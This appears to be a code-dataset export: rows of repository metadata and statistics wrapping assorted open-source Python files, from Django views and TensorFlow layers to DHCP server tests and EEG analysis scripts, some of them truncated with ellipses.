] | 28 | 2017-11-20T09:45:59.000Z | 2021-12-14T09:31:24.000Z | theBroker/venv/Lib/site-packages/ttn/github_com/TheThingsNetwork/api/protocol/lorawan/__init__.py | emirgo/WeatherStation | f0f8c3464470991fc962d83cea20f3bcfd6a04b6 | [
"MIT"
] | 22 | 2017-11-03T10:21:50.000Z | 2021-04-08T05:20:51.000Z | from .device_address_pb2_grpc import *
from .device_address_pb2 import *
from .device_pb2_grpc import *
from .device_pb2 import *
from .lorawan_pb2_grpc import *
from .lorawan_pb2 import *
| 27 | 38 | 0.809524 | 29 | 189 | 4.896552 | 0.241379 | 0.352113 | 0.274648 | 0.359155 | 0.323944 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036364 | 0.126984 | 189 | 6 | 39 | 31.5 | 0.824242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
f3f96e37de57543e6e38274cb0da11ebb2309413 | 27,019 | py | Python | tests/test_stratify_flows.py | monash-emu/summer | e401fa986543ddade0082d271f9261d640b22bec | [
"BSD-2-Clause-FreeBSD"
] | 4 | 2021-11-05T02:47:34.000Z | 2022-01-31T11:25:11.000Z | tests/test_stratify_flows.py | monash-emu/summer | e401fa986543ddade0082d271f9261d640b22bec | [
"BSD-2-Clause-FreeBSD"
] | 3 | 2021-04-28T22:29:32.000Z | 2021-08-30T12:13:01.000Z | tests/test_stratify_flows.py | monash-emu/summer | e401fa986543ddade0082d271f9261d640b22bec | [
"BSD-2-Clause-FreeBSD"
] | 1 | 2021-04-29T05:52:34.000Z | 2021-04-29T05:52:34.000Z | """
Tests to ensure that flows get stratified correctly.
That is, when a stratification is applied, there are the right number of flows,
connected to the right compartments, with the right adjustments applied.
"""
import pytest
from summer import AgeStratification
from summer import Compartment as C
from sum... | 38.543509 | 116 | 0.563862 | 3,216 | 27,019 | 4.541356 | 0.055659 | 0.077439 | 0.038275 | 0.043684 | 0.860733 | 0.850599 | 0.809243 | 0.786238 | 0.725573 | 0.698459 | 0 | 0.022568 | 0.258744 | 27,019 | 700 | 117 | 38.598571 | 0.706661 | 0.098301 | 0 | 0.708955 | 0 | 0 | 0.148353 | 0.035045 | 0 | 0 | 0 | 0.001429 | 0.136194 | 1 | 0.029851 | false | 0 | 0.106343 | 0 | 0.136194 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ed998cc8824239f468eda71e38958d9f53abc409 | 10,567 | py | Python | exapi/request_creators/binance/spot/trading/interface.py | astsu-dev/exapi | 1ef39ccdd77e9ddb60ec6eaa16a2cc26e1ac3e12 | [
"MIT"
] | null | null | null | exapi/request_creators/binance/spot/trading/interface.py | astsu-dev/exapi | 1ef39ccdd77e9ddb60ec6eaa16a2cc26e1ac3e12 | [
"MIT"
] | null | null | null | exapi/request_creators/binance/spot/trading/interface.py | astsu-dev/exapi | 1ef39ccdd77e9ddb60ec6eaa16a2cc26e1ac3e12 | [
"MIT"
] | null | null | null | """Has binance trading request creator interface."""
from typing import Optional, Protocol
from exapi.request_creators.request import Request
from exapi.typedefs.binance import (OrderResponseType, OrderSide,
OrderType, TimeInForce)
class IBinanceSpotTradingRequestCreator(Protocol... | 47.599099 | 97 | 0.515757 | 1,008 | 10,567 | 5.25496 | 0.121032 | 0.116292 | 0.07929 | 0.071361 | 0.880498 | 0.867095 | 0.854823 | 0.854823 | 0.854823 | 0.83821 | 0 | 0.009504 | 0.412511 | 10,567 | 221 | 98 | 47.81448 | 0.84375 | 0.449607 | 0 | 0.780822 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.123288 | false | 0 | 0.041096 | 0 | 0.178082 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
edc1e7748970b8e3c1d9fed71e49e21edc0919d6 | 142 | py | Python | models/backbone/__init__.py | briana-jin-zhang/spatial-segmentation | 1e9716d71692eebd5794f9129b833315625661fc | [
"Apache-2.0"
] | 733 | 2020-04-05T20:59:38.000Z | 2022-03-27T05:01:29.000Z | models/backbone/__init__.py | PooyaAlamirpour/deocclusion | 17e4a93dad1369ceb4d91c4564a93c99af398c77 | [
"Apache-2.0"
] | 44 | 2020-04-26T10:53:25.000Z | 2022-01-13T02:29:29.000Z | models/backbone/__init__.py | PooyaAlamirpour/deocclusion | 17e4a93dad1369ceb4d91c4564a93c99af398c77 | [
"Apache-2.0"
] | 98 | 2020-04-07T10:43:37.000Z | 2022-03-27T05:01:32.000Z | from .unet import *
from .vae import *
from .others import *
from .pconv_unet import *
from .discriminator import *
from .resnet_cls import *
| 20.285714 | 28 | 0.746479 | 20 | 142 | 5.2 | 0.45 | 0.480769 | 0.269231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.169014 | 142 | 6 | 29 | 23.666667 | 0.881356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
edc2df061c731be177dc6d2b77dbcb804aae3f1d | 166,328 | py | Python | linkml_runtime/linkml_model/meta.py | dalito/linkml-runtime | 192a33962aed06f727ffad1a697003ac6ec85c2c | [
"CC0-1.0"
] | null | null | null | linkml_runtime/linkml_model/meta.py | dalito/linkml-runtime | 192a33962aed06f727ffad1a697003ac6ec85c2c | [
"CC0-1.0"
] | null | null | null | linkml_runtime/linkml_model/meta.py | dalito/linkml-runtime | 192a33962aed06f727ffad1a697003ac6ec85c2c | [
"CC0-1.0"
] | null | null | null | # Auto generated from meta.yaml by pythongen.py version: 0.9.0
# Generation date: 2022-04-30T01:16:48
# Schema: meta
#
# id: https://w3id.org/linkml/meta
# description: The metamodel for schemas defined using the Linked Data Modeling Language framework. For more
# information on LinkML, see [linkml.io](htt... | 55.313602 | 486 | 0.707013 | 21,782 | 166,328 | 5.221835 | 0.022358 | 0.025268 | 0.071293 | 0.027114 | 0.887069 | 0.841536 | 0.815627 | 0.775079 | 0.759078 | 0.746154 | 0 | 0.000642 | 0.185309 | 166,328 | 3,006 | 487 | 55.332003 | 0.838745 | 0.016455 | 0 | 0.672803 | 1 | 0 | 0.045524 | 0.011475 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012885 | false | 0.006443 | 0.030833 | 0 | 0.390244 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
edd14463158797087f840b928eb7808921ac770c | 8,259 | py | Python | website/src/comments/views.py | iamcholo/videoplatform | 72dd1db73e1c940e5992dacbb63feb8fc11394e3 | [
"Apache-2.0"
] | null | null | null | website/src/comments/views.py | iamcholo/videoplatform | 72dd1db73e1c940e5992dacbb63feb8fc11394e3 | [
"Apache-2.0"
] | 9 | 2020-06-05T19:18:35.000Z | 2022-03-11T23:30:50.000Z | website/src/comments/views.py | iamcholo/videoplatform | 72dd1db73e1c940e5992dacbb63feb8fc11394e3 | [
"Apache-2.0"
] | null | null | null | import json
from django.http import HttpResponseRedirect
from django.template.response import TemplateResponse
from django.utils import timezone
from utilities.paginator import paginator
from utilities.network import get_client_ip
from django.shortcuts import get_object_or_404
from comments.forms import Comments... | 35.294872 | 93 | 0.550188 | 892 | 8,259 | 4.904709 | 0.131166 | 0.075429 | 0.035657 | 0.041143 | 0.800457 | 0.760457 | 0.753371 | 0.748343 | 0.748343 | 0.748343 | 0 | 0.00823 | 0.337934 | 8,259 | 234 | 94 | 35.294872 | 0.79188 | 0 | 0 | 0.787879 | 0 | 0 | 0.082603 | 0.020901 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040404 | false | 0 | 0.065657 | 0 | 0.146465 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ede96fdd87c07e44a88666b2273e4fee72cf6cb2 | 632 | py | Python | Introducao-Python/ex113.py | reglabel/Estudos | b989e0287aa69756cfd4bbc7291860b6ce053a6c | [
"MIT"
] | null | null | null | Introducao-Python/ex113.py | reglabel/Estudos | b989e0287aa69756cfd4bbc7291860b6ce053a6c | [
"MIT"
] | null | null | null | Introducao-Python/ex113.py | reglabel/Estudos | b989e0287aa69756cfd4bbc7291860b6ce053a6c | [
"MIT"
] | null | null | null | def leiaInt(msg=''):
while True:
try:
valor = int(input(msg))
except KeyboardInterrupt:
print(f"\033[31mO usuário preferiu não digitar esse número.\033[m")
return 0
except (ValueError, TypeError):
print(f"\033[31mERRO!Digite um número inteiro válido\033[m")
continue
else:
return valor
def l... | 23.407407 | 70 | 0.696203 | 88 | 632 | 5 | 0.397727 | 0.054545 | 0.081818 | 0.068182 | 0.931818 | 0.840909 | 0.840909 | 0.840909 | 0.840909 | 0.840909 | 0 | 0.066148 | 0.186709 | 632 | 26 | 71 | 24.307692 | 0.789883 | 0 | 0 | 0.833333 | 0 | 0 | 0.338608 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0 | 0 | 0.25 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b661a6e1f344b1233755303f50ad9a6aaaa06f84 | 12,829 | py | Python | dual_encoder/layer/dense.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | 1 | 2019-03-20T03:25:45.000Z | 2019-03-20T03:25:45.000Z | dual_encoder/layer/dense.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | null | null | null | dual_encoder/layer/dense.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | 1 | 2021-09-30T17:07:24.000Z | 2021-09-30T17:07:24.000Z | import numpy as np
import tensorflow as tf
from util.default_util import *
from util.dual_encoder_util import *
from layer.basic import *
__all__ = ["Dense", "DoubleDense", "StackedDense", "StackedDoubleDense"]
class Dense(object):
"""dense layer"""
def __init__(self,
unit_dim,
... | 43.784983 | 133 | 0.603788 | 1,439 | 12,829 | 5.030577 | 0.061849 | 0.06907 | 0.039785 | 0.041442 | 0.944882 | 0.936593 | 0.933554 | 0.926095 | 0.920984 | 0.90565 | 0 | 0.00299 | 0.322083 | 12,829 | 292 | 134 | 43.934932 | 0.829366 | 0.023151 | 0 | 0.908333 | 0 | 0 | 0.012028 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.020833 | 0 | 0.0875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b695a669b88f5fd037157b9f5da2b1251b083825 | 168 | py | Python | gurtel/timezone.py | oddbird/gurtel | 6400ae0e65618b6477ae5ae4791ac618c8112b7a | [
"BSD-3-Clause"
] | null | null | null | gurtel/timezone.py | oddbird/gurtel | 6400ae0e65618b6477ae5ae4791ac618c8112b7a | [
"BSD-3-Clause"
] | null | null | null | gurtel/timezone.py | oddbird/gurtel | 6400ae0e65618b6477ae5ae4791ac618c8112b7a | [
"BSD-3-Clause"
] | null | null | null | from datetime import datetime
import pytz
def now():
"""Return timezone-aware current datetime, in UTC."""
return datetime.utcnow().replace(tzinfo=pytz.utc)
| 18.666667 | 57 | 0.720238 | 22 | 168 | 5.5 | 0.681818 | 0.231405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160714 | 168 | 8 | 58 | 21 | 0.858156 | 0.279762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
fca9efa83536307f7e7b64793b956158054e62f5 | 28,774 | py | Python | src/containerapp/azext_containerapp/tests/latest/test_containerapp_commands.py | Caoxuyang/azure-cli-extensions | d2011261f29033cb31a1064256727d87049ab423 | [
"MIT"
] | null | null | null | src/containerapp/azext_containerapp/tests/latest/test_containerapp_commands.py | Caoxuyang/azure-cli-extensions | d2011261f29033cb31a1064256727d87049ab423 | [
"MIT"
] | null | null | null | src/containerapp/azext_containerapp/tests/latest/test_containerapp_commands.py | Caoxuyang/azure-cli-extensions | d2011261f29033cb31a1064256727d87049ab423 | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 59.205761 | 291 | 0.662647 | 3,312 | 28,774 | 5.533514 | 0.072162 | 0.086539 | 0.110929 | 0.059366 | 0.871665 | 0.846456 | 0.830141 | 0.823812 | 0.807988 | 0.779015 | 0 | 0.01113 | 0.181935 | 28,774 | 485 | 292 | 59.327835 | 0.76745 | 0.033016 | 0 | 0.737288 | 0 | 0.045198 | 0.323432 | 0.016003 | 0 | 0 | 0 | 0 | 0.00565 | 1 | 0.022599 | false | 0.00565 | 0.016949 | 0 | 0.050847 | 0.011299 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fce35e4f8d1c042c465a296421144c00ebd4c0f1 | 4,358 | py | Python | dame_flame/utils/data.py | saksham-jain01/DAME-FLAME-Python-Package | 1362baeadc05cf7ba368e40b0f2873c758c0c515 | [
"MIT"
] | 43 | 2020-08-10T20:51:49.000Z | 2022-03-09T08:50:37.000Z | dame_flame/utils/data.py | saksham-jain01/DAME-FLAME-Python-Package | 1362baeadc05cf7ba368e40b0f2873c758c0c515 | [
"MIT"
] | 31 | 2020-02-11T20:29:26.000Z | 2022-02-26T10:08:17.000Z | dame_flame/utils/data.py | saksham-jain01/DAME-FLAME-Python-Package | 1362baeadc05cf7ba368e40b0f2873c758c0c515 | [
"MIT"
] | 22 | 2020-05-07T23:53:53.000Z | 2021-08-05T14:41:59.000Z | # -*- coding: utf-8 -*-
"""Generate data for examples"""
# author: Neha Gupta, Tianyu Wang, Duke University; Awa Dieng, Yameng Liu
# Copyright Duke University 2020
# License: MIT
import pandas as pd
import numpy as np
def generate_uniform_given_importance(num_control=1000, num_treated=1000,
... | 35.721311 | 80 | 0.643873 | 668 | 4,358 | 3.97006 | 0.17515 | 0.042986 | 0.020362 | 0.015837 | 0.88914 | 0.884238 | 0.86991 | 0.862745 | 0.862745 | 0.839744 | 0 | 0.031307 | 0.245067 | 4,358 | 121 | 81 | 36.016529 | 0.774772 | 0.209959 | 0 | 0.784615 | 1 | 0 | 0.029421 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046154 | false | 0 | 0.169231 | 0 | 0.261538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
1e849de6734743136d2b1165120b00caa51e53b9 | 115,594 | py | Python | uecho/std/objects_scsl.py | cybergarage/uecho-py | 6b0dc72b9c3770d79b812bad75ea201c820b089a | [
"Apache-2.0"
] | null | null | null | uecho/std/objects_scsl.py | cybergarage/uecho-py | 6b0dc72b9c3770d79b812bad75ea201c820b089a | [
"Apache-2.0"
] | null | null | null | uecho/std/objects_scsl.py | cybergarage/uecho-py | 6b0dc72b9c3770d79b812bad75ea201c820b089a | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2021 Satoshi Konno. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http:#www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 90.875786 | 209 | 0.706291 | 14,619 | 115,594 | 5.512279 | 0.059443 | 0.066043 | 0.1541 | 0.242157 | 0.84559 | 0.828936 | 0.809813 | 0.789201 | 0.762198 | 0.713541 | 0 | 0.043483 | 0.104123 | 115,594 | 1,271 | 210 | 90.947286 | 0.732778 | 0.029552 | 0 | 0.287184 | 0 | 0.000935 | 0.499429 | 0.000393 | 0 | 0 | 0.044366 | 0 | 0 | 1 | 0.000935 | false | 0.002806 | 0.000935 | 0.000935 | 0.002806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1ea77da10052c034b3a00079a4248164521d8698 | 138 | py | Python | apdt/alz/__init__.py | zhaofeng-shu33/apdt | 34ca212c9a7b294ee31f1c4ed4fa7569fbcc629e | [
"Apache-2.0"
] | null | null | null | apdt/alz/__init__.py | zhaofeng-shu33/apdt | 34ca212c9a7b294ee31f1c4ed4fa7569fbcc629e | [
"Apache-2.0"
] | null | null | null | apdt/alz/__init__.py | zhaofeng-shu33/apdt | 34ca212c9a7b294ee31f1c4ed4fa7569fbcc629e | [
"Apache-2.0"
] | null | null | null | from apdt.alz.utils import haversine, IDW
from apdt.alz.find_sites import find_sites_range
from apdt.alz.eventdetect import wavelet_detect | 46 | 48 | 0.862319 | 23 | 138 | 5 | 0.565217 | 0.208696 | 0.286957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 138 | 3 | 49 | 46 | 0.912698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
1ead3320f1ee5f1575e6eacf0a5daa857b87b772 | 366 | py | Python | sdat/tools_merge/__init__.py | Chipeyown/SPLiT-seq-Data-Analysis_Toolkit | 903fdbeeed8d0ef91c7a08af6226731297b21bdc | [
"MIT"
] | 4 | 2019-09-11T07:20:22.000Z | 2020-09-04T09:21:18.000Z | sdat/tools_merge/__init__.py | Chipeyown/SPLiT-seq-Data-Analysis_Toolkit | 903fdbeeed8d0ef91c7a08af6226731297b21bdc | [
"MIT"
] | 1 | 2019-09-10T01:37:18.000Z | 2019-09-10T01:45:42.000Z | sdat/tools_merge/__init__.py | Chipeyown/SPLiT-seq-Data-Analysis_Toolkit | 903fdbeeed8d0ef91c7a08af6226731297b21bdc | [
"MIT"
] | 1 | 2020-09-17T02:24:06.000Z | 2020-09-17T02:24:06.000Z | from sdat.tools_merge.merge_fastq import *
from sdat.tools_merge.merge_reads_per_cell import *
from sdat.tools_merge.merge_barcode import *
from sdat.tools_merge.merge_filter_ratio import *
from sdat.tools_merge.merge_sam import *
from sdat.tools_merge.merge_rmdup_log import *
from sdat.tools_merge.merge_cell_log impor... | 40.666667 | 51 | 0.846995 | 61 | 366 | 4.737705 | 0.245902 | 0.221453 | 0.359862 | 0.49827 | 0.83045 | 0.750865 | 0.249135 | 0.249135 | 0 | 0 | 0 | 0 | 0.087432 | 366 | 8 | 52 | 45.75 | 0.865269 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
949626b520f3b44e67265535d008e00d5fddf40c | 6,845 | py | Python | tests/dhcpv6/kea_only/user_chk/test_v6_user_check_general_logs.py | isc-projects/forge | dfec8b41003d6b5a229f69ee93616e0e5cc6d71b | [
"0BSD"
] | 22 | 2015-02-27T11:51:05.000Z | 2022-02-28T12:39:29.000Z | tests/dhcpv6/kea_only/user_chk/test_v6_user_check_general_logs.py | isc-projects/forge | dfec8b41003d6b5a229f69ee93616e0e5cc6d71b | [
"0BSD"
] | 16 | 2018-10-30T15:00:12.000Z | 2019-01-11T17:55:13.000Z | tests/dhcpv6/kea_only/user_chk/test_v6_user_check_general_logs.py | isc-projects/forge | dfec8b41003d6b5a229f69ee93616e0e5cc6d71b | [
"0BSD"
] | 11 | 2015-02-27T11:51:36.000Z | 2021-03-30T08:33:54.000Z | """Kea6 User Check Hook Library - Logging"""
# pylint: disable=invalid-name,line-too-long
import pytest
import srv_control
import srv_msg
import misc
@pytest.mark.v6
@pytest.mark.kea_only
@pytest.mark.user_check
@pytest.mark.IA_NA
@pytest.mark.logging
def test_user_check_hook_IA_NA_no_registry_logging():
# Wit... | 42.515528 | 88 | 0.733674 | 1,053 | 6,845 | 4.459639 | 0.144349 | 0.05494 | 0.03833 | 0.048978 | 0.839225 | 0.828152 | 0.82155 | 0.799404 | 0.799404 | 0.78322 | 0 | 0.040102 | 0.140248 | 6,845 | 160 | 89 | 42.78125 | 0.757859 | 0.208035 | 0 | 0.838095 | 0 | 0 | 0.254133 | 0.096229 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | true | 0.028571 | 0.038095 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
94c8055632fb47ec2865018f0eb7726341786c51 | 7,510 | py | Python | scripts/measure similarity.py | adowaconan/working_memory | 2d2811c0213b0f6f60759d53c345220a72e45f94 | [
"MIT"
] | null | null | null | scripts/measure similarity.py | adowaconan/working_memory | 2d2811c0213b0f6f60759d53c345220a72e45f94 | [
"MIT"
] | null | null | null | scripts/measure similarity.py | adowaconan/working_memory | 2d2811c0213b0f6f60759d53c345220a72e45f94 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Thu Feb 22 19:30:55 2018
@author: ning
"""
import mne
import os
from glob import glob
#import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
from tqdm import tqdm
#import scipy.io as so
import re
import scipy.spatial as sp
import pickle
working_dir = 'D:/w... | 52.517483 | 147 | 0.653928 | 1,113 | 7,510 | 4.290207 | 0.18239 | 0.041885 | 0.027225 | 0.020733 | 0.899058 | 0.878534 | 0.875812 | 0.863246 | 0.863246 | 0.863246 | 0 | 0.038702 | 0.212117 | 7,510 | 143 | 148 | 52.517483 | 0.768295 | 0.234221 | 0 | 0.729167 | 0 | 0 | 0.16398 | 0.093027 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.09375 | 0 | 0.09375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
94ce6b4eb034abc49093728ad615c8816ffc9ca9 | 5,225 | py | Python | tests/tests.py | jeanlucmargot/pyvax | 18a6b3ff94661868c142d8e074fe9f2875d0bd56 | [
"BSD-3-Clause"
] | null | null | null | tests/tests.py | jeanlucmargot/pyvax | 18a6b3ff94661868c142d8e074fe9f2875d0bd56 | [
"BSD-3-Clause"
] | 1 | 2021-02-17T17:47:39.000Z | 2021-02-23T19:47:33.000Z | tests/tests.py | jeanlucmargot/pyvax | 18a6b3ff94661868c142d8e074fe9f2875d0bd56 | [
"BSD-3-Clause"
] | 1 | 2021-02-09T02:34:06.000Z | 2021-02-09T02:34:06.000Z | """ adaptation of part of Lawrence M. Baker's libvaxdata test suite for Gary Doran's PyVAX wrapper
Authors
-------
| Jean-Luc Margot (jlm@epss.ucla.edu)
Jean-Luc Margot
University of California, Los Angeles.
"""
import pyvax as pv
import numpy as np
from pytest import approx
def func_i2(x):
fstr = pv.from_v... | 51.22549 | 101 | 0.661435 | 944 | 5,225 | 3.584746 | 0.17161 | 0.093972 | 0.093085 | 0.085106 | 0.846336 | 0.752069 | 0.739953 | 0.713061 | 0.591608 | 0.591608 | 0 | 0.266295 | 0.142584 | 5,225 | 101 | 102 | 51.732673 | 0.489063 | 0.04 | 0 | 0.05 | 0 | 0 | 0.233273 | 0.153385 | 0 | 0 | 0 | 0 | 0.65 | 1 | 0.125 | false | 0 | 0.0375 | 0 | 0.225 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a20c117f9124efd7316972181772b34258fa401d | 3,051 | py | Python | design_pattern/structural/decorator/wow_example.py | kannandreams/python-advance-concepts | e4c4f34cd37b431a43c115bb248273125b96b7b1 | [
"MIT"
] | 2 | 2021-01-18T12:16:08.000Z | 2021-01-24T07:38:18.000Z | design_pattern/structural/decorator/wow_example.py | kannandreams/python-advance-concepts | e4c4f34cd37b431a43c115bb248273125b96b7b1 | [
"MIT"
] | null | null | null | design_pattern/structural/decorator/wow_example.py | kannandreams/python-advance-concepts | e4c4f34cd37b431a43c115bb248273125b96b7b1 | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class INoodles(object):
def get_ingredients(self):
pass
def get_cost(self):
pass
def get_service_tax(self):
return self.get_cost() * 1.00
class IRice(object):
def get_ingredients(self):
pass
def get_cost(self):
pass
... | 25.214876 | 95 | 0.67355 | 355 | 3,051 | 5.467606 | 0.11831 | 0.068006 | 0.166409 | 0.108192 | 0.846986 | 0.833076 | 0.791345 | 0.734158 | 0.690881 | 0.666667 | 0 | 0.008319 | 0.212062 | 3,051 | 120 | 96 | 25.425 | 0.799085 | 0 | 0 | 0.602564 | 0 | 0 | 0.067191 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.346154 | false | 0.051282 | 0.012821 | 0.230769 | 0.717949 | 0.051282 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 9 |
